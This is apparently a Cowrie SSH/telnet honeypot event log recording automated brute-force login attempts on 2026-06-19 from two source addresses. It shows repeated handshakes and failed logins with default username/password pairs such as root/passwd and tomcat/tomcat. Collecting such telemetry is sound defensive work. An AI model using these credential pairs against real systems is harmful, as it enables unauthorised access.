{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33570,"dst_ip":"159.203.135.109","dst_port":22,"session":"01b79dc11532","protocol":"ssh","message":"New connection: 91.92.40.171:33570 (159.203.135.109:22) [session: 01b79dc11532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:46.057812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:46.236039Z","src_ip":"91.92.40.171","session":"01b79dc11532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37714,"dst_ip":"159.203.135.109","dst_port":22,"session":"665c391ea665","protocol":"ssh","message":"New connection: 91.92.42.133:37714 (159.203.135.109:22) [session: 665c391ea665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:46.904764Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:47.051664Z","src_ip":"91.92.40.171","session":"01b79dc11532","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:47.596485Z","src_ip":"91.92.42.133","session":"665c391ea665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:47.599508Z","src_ip":"91.92.42.133","session":"665c391ea665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:49.901552Z","src_ip":"91.92.40.171","session":"01b79dc11532","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:50.640219Z","src_ip":"91.92.42.133","session":"665c391ea665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47768,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e4a372f0b0","protocol":"ssh","message":"New connection: 91.92.40.171:47768 (159.203.135.109:22) [session: 64e4a372f0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:51.798905Z"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:51.809679Z","src_ip":"91.92.40.171","session":"01b79dc11532","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:51.876502Z","src_ip":"91.92.40.171","session":"64e4a372f0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:52.630451Z","src_ip":"91.92.40.171","session":"64e4a372f0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:52.639948Z","src_ip":"91.92.42.133","session":"665c391ea665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37750,"dst_ip":"159.203.135.109","dst_port":22,"session":"3be885f5d884","protocol":"ssh","message":"New connection: 91.92.42.133:37750 (159.203.135.109:22) [session: 3be885f5d884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:54.137711Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.137.245.226","src_port":45292,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eb87a371ced","protocol":"telnet","message":"New connection: 85.137.245.226:45292 (10.17.0.5:23) [session: 0eb87a371ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:54.649590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:54.818982Z","src_ip":"91.92.42.133","session":"3be885f5d884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:54.821876Z","src_ip":"91.92.42.133","session":"3be885f5d884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41014,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b6d84a2ee0b","protocol":"ssh","message":"New connection: 91.92.40.171:41014 (159.203.135.109:22) [session: 5b6d84a2ee0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:56.117428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:56.132439Z","src_ip":"91.92.40.171","session":"5b6d84a2ee0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:56.205804Z","src_ip":"91.92.40.171","session":"5b6d84a2ee0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:56.610458Z","src_ip":"91.92.40.171","session":"5b6d84a2ee0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:57.433684Z","src_ip":"91.92.40.171","session":"64e4a372f0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:57.847937Z","src_ip":"91.92.40.171","session":"5b6d84a2ee0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:58.519401Z","src_ip":"91.92.42.133","session":"3be885f5d884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:59.498329Z","src_ip":"91.92.40.171","session":"64e4a372f0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:00.352215Z","src_ip":"91.92.42.133","session":"3be885f5d884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58362,"dst_ip":"159.203.135.109","dst_port":22,"session":"c13038495da9","protocol":"ssh","message":"New connection: 91.92.42.133:58362 (159.203.135.109:22) [session: c13038495da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:00.869455Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41084,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce2d7e644dd2","protocol":"ssh","message":"New connection: 91.92.40.171:41084 (159.203.135.109:22) [session: ce2d7e644dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:01.717062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:01.781301Z","src_ip":"91.92.40.171","session":"ce2d7e644dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:01.852764Z","src_ip":"91.92.40.171","session":"ce2d7e644dd2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:01.970149Z","src_ip":"91.92.42.133","session":"c13038495da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:01.973970Z","src_ip":"91.92.42.133","session":"c13038495da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:02.235510Z","src_ip":"91.92.40.171","session":"ce2d7e644dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:03.380983Z","src_ip":"91.92.40.171","session":"ce2d7e644dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:06.574850Z","src_ip":"91.92.42.133","session":"c13038495da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51556,"dst_ip":"159.203.135.109","dst_port":22,"session":"536266b4c85f","protocol":"ssh","message":"New connection: 91.92.42.133:51556 (159.203.135.109:22) [session: 536266b4c85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:08.123740Z"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:09.093121Z","src_ip":"91.92.42.133","session":"c13038495da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49356,"dst_ip":"159.203.135.109","dst_port":22,"session":"61bd51791efb","protocol":"ssh","message":"New connection: 91.92.40.171:49356 (159.203.135.109:22) [session: 61bd51791efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:09.621627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:09.651669Z","src_ip":"91.92.40.171","session":"61bd51791efb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:09.703541Z","src_ip":"91.92.42.133","session":"536266b4c85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:09.709491Z","src_ip":"91.92.42.133","session":"536266b4c85f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128